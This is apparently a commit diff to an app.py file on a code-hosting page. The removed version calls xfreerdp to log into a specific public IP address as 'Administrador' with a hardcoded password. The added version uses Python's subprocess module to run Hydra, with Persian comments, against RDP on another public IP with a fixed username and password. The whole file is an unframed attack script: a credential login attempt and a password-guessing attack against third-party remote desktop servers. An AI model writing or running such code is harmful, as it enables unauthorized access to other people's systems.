cfdlbrz commited on
Commit
72fbe31
·
verified ·
1 Parent(s): 59a8fbd

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +13 -2
app.py CHANGED
@@ -1,2 +1,13 @@
1
- import os
2
- os.system("xfreerdp /u:Administrador /p:1qaz@wsx!@# 47.91.121.106")
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import subprocess
2
+
3
+ # دستور Hydra برای اجرا
4
+ command = ["hydra", "-t", "4", "-l", "user", "-p", "Password01", "rdp://156.38.246.202"]
5
+
6
+ # اجرای دستور و نتیجه‌ی بازگشتی
7
+ result = subprocess.run(command, capture_output=True, text=True)
8
+
9
+ # چاپ خروجی
10
+ print(result.stdout)
11
+
12
+ # چاپ خطاها
13
+ print(result.stderr)